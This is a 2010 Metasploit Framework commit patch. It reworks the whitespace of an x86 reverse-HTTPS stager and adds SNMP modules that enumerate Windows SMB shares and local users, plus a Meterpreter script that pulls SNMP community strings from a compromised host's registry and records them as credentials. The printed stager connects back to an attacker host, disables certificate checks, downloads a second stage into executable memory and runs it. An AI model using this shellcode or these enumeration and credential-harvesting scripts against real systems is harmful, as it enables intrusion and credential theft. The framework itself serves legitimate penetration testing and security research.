From 5875fdb7019fd4b6ee5b463a3d03550902ebebac Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 25 Dec 2010 06:08:34 +0000 Subject: [PATCH] Two new SNMP community enumeration tools for Windows by tebo (local account list and SMB shares). Addition of a Meterpreter script for snagging the SNMP community from the registry git-svn-id: file:///home/svn/framework3/trunk@11410 4d416f70-5f16-0410-b530-b9f4589650da --- .../x86/src/block/block_reverse_https.asm | 302 +++++++++--------- .../auxiliary/scanner/snmp/snmp_enumshares.rb | 73 +++++ .../auxiliary/scanner/snmp/snmp_enumusers.rb | 71 ++++ scripts/meterpreter/get_valid_community.rb | 57 ++++ 4 files changed, 352 insertions(+), 151 deletions(-) create mode 100755 modules/auxiliary/scanner/snmp/snmp_enumshares.rb create mode 100755 modules/auxiliary/scanner/snmp/snmp_enumusers.rb create mode 100755 scripts/meterpreter/get_valid_community.rb diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm index a3e9f535fd..89b21f49e1 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm @@ -1,6 +1,6 @@ ;-----------------------------------------------------------------------------; ; Author: HD Moore -; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 +; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) ; Version: 1.0 ;-----------------------------------------------------------------------------; @@ -11,159 +11,159 @@ ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) load_wininet: push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... + push 0x696e6977 ; ... mov esi, esp ; Save a pointer to wininet push esp ; Push a pointer to the "wininet" string on the stack. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push esi ; LPCTSTR lpszAgent - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push dword 4444 ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00800000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION - ;0x00800000 | ; INTERNET_FLAG_SECURE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00000200 ; INTERNET_FLAG_NO_UI - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method - push eax ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - mov esi, eax ; hHttpRequest - -set_retry: - push byte 0x02 - pop ebx - -httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz short allocate_memory - -check_ssl: - -; In the case of an invalid certificate authority, we have to wait until the error occurs, -; set an option to disable it, then try it all over again. This wastes shellcode space, -; but its required to use this payload without a valid signed cert. -; push 0x5DE2C5AA ; hash( "kernel32.dll", "GetLastError" ) -; call ebp -; cmp al, 0x0d ; ERROR_INTERNET_INVALID_CA (0x2f0d) - -; Instead of wasting more bytes on GetLastError (which isn't resolving properly on Windows XP), -; we just try a second time if the initial send fails. This provides us with a real retry -; mechanism for free. - dec ebx - jz failure - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); -set_security_options: - push 0x00003380 - mov eax, esp - push byte 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - ; pop eax ; clear temporary storage (optional) - - ; Try it again - jmp short httpsendrequest - -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 - + +internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push esi ; LPCTSTR lpszAgent + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp short dbl_get_server_host + +internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push ecx ; username + push dword 4444 ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + +httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + push (0x80000000 | 0x04000000 | 0x00800000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID + ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00000200 ; INTERNET_FLAG_NO_UI + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + +set_retry: + push byte 0x02 + pop ebx + +httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz short allocate_memory + +check_ssl: + +; In the case of an invalid certificate authority, we have to wait until the error occurs, +; set an option to disable it, then try it all over again. This wastes shellcode space, +; but its required to use this payload without a valid signed cert. +; push 0x5DE2C5AA ; hash( "kernel32.dll", "GetLastError" ) +; call ebp +; cmp al, 0x0d ; ERROR_INTERNET_INVALID_CA (0x2f0d) + +; Instead of wasting more bytes on GetLastError (which isn't resolving properly on Windows XP), +; we just try a second time if the initial send fails. This provides us with a real retry +; mechanism for free. + dec ebx + jz failure + +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); +set_security_options: + push 0x00003380 + mov eax, esp + push byte 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ; pop eax ; clear temporary storage (optional) + + ; Try it again + jmp short httpsendrequest + +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call httpopenrequest + +server_uri: + db "/12345", 0x00 + failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - -allocate_memory: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - -download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead - -download_more: - push edi ; &bytesRead - push 8192 ; read length - push ebx ; buffer - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz failure - - mov eax, [edi] - add ebx, eax ; buffer += bytes_received - - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage - -execute_stage: - ret ; dive into the stored stage address - -get_server_host: - call internetconnect - -server_host: - + call ebp + +allocate_memory: + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (8Mb ought to do us) + push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + +download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + +execute_stage: + ret ; dive into the stored stage address + +get_server_host: + call internetconnect + +server_host: + diff --git a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb new file mode 100755 index 0000000000..b4244ed3cd --- /dev/null +++ b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb @@ -0,0 +1,73 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SNMP Windows SMB Share Enumeration', + 'Version' => '$Revision$', + 'Description' => "This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP", + 'Author' => ['tebo[at]attackresearch.com'], + 'License' => MSF_LICENSE + ) + + end + + def run_host(ip) + begin + snmp = connect_snmp + + share_tbl = ["1.3.6.1.4.1.77.1.2.27.1.1", + "1.3.6.1.4.1.77.1.2.27.1.2", + "1.3.6.1.4.1.77.1.2.27.1.3"] + + if snmp.get_value('sysDescr.0') =~ /Windows/ + + @shares = [] + snmp.walk(share_tbl) do |entry| + @shares << entry.collect{|x|x.value} + end + end + + disconnect_snmp + + if not @shares.empty? + print_good("#{ip} #{@shares.map{|x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}") #" + report_note( + :host => ip, + :proto => 'snmp', + :port => datastore['RPORT'], + :sname => 'smb', + :type => 'smb.shares', + :data => { :shares => @shares }, + :update => :unique_data + ) + end + + rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::RequestTimeout + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + end + + end + +end + diff --git a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb new file mode 100755 index 0000000000..be49b49284 --- /dev/null +++ b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb @@ -0,0 +1,71 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SNMP Windows Username Enumeration', + 'Version' => '$Revision$', + 'Description' => "This module will use LanManager OID values to enumerate local user accounts on a Windows system via SNMP", + 'Author' => ['tebo[at]attackresearch.com'], + 'License' => MSF_LICENSE + ) + + end + + def run_host(ip) + begin + snmp = connect_snmp + + if snmp.get_value('sysDescr.0') =~ /Windows/ + + @users = [] + snmp.walk("1.3.6.1.4.1.77.1.2.25") do |row| + row.each { |val| @users << val.value.to_s } + end + + print_good("#{ip} Found Users: #{@users.sort.join(", ")} ") + + end + + disconnect_snmp + + @users.each do |user| + report_note( + :host => rhost, + :port => datastore['RPORT'], + :proto => 'snmp', + :sname => 'smb', + :update => :unique_data, + :type => 'smb.username', + :data => user + ) + end + + rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::RequestTimeout + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + end + + end + +end + diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb new file mode 100755 index 0000000000..76c6112074 --- /dev/null +++ b/scripts/meterpreter/get_valid_community.rb @@ -0,0 +1,57 @@ +#copied getvncpw - thanks grutz/carlos + +session = client + +@@exec_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help menu."] +) + +def usage() + print("\nPull the SNMP community string from a Windows Meterpreter session\n\n") + completed +end + +def get_community(session) + key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" + root_key, base_key = session.sys.registry.splitkey(key) + open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) + begin + # oddly enough this does not return the data field which indicates ro/rw + return open_key.enum_value.collect {|x| x.name} + rescue + # no registry key found or other error + return nil + end +end + +@@exec_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + usage + end +} + +if client.platform =~ /win32|win64/ + print_status("Searching for community strings...") + strs = get_community(session) + if strs + strs.each do |str| + print_good("FOUND: #{str}") + @client.framework.db.report_auth_info( + :host => client.sock.peerhost, + :port => 161, + :proto => 'udp', + :sname => 'snmp', + :user => '', + :pass => str, + :type => "snmp.community", + :duplicate_ok => true + ) + end + else + print_status("Not found") + end +else + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed +end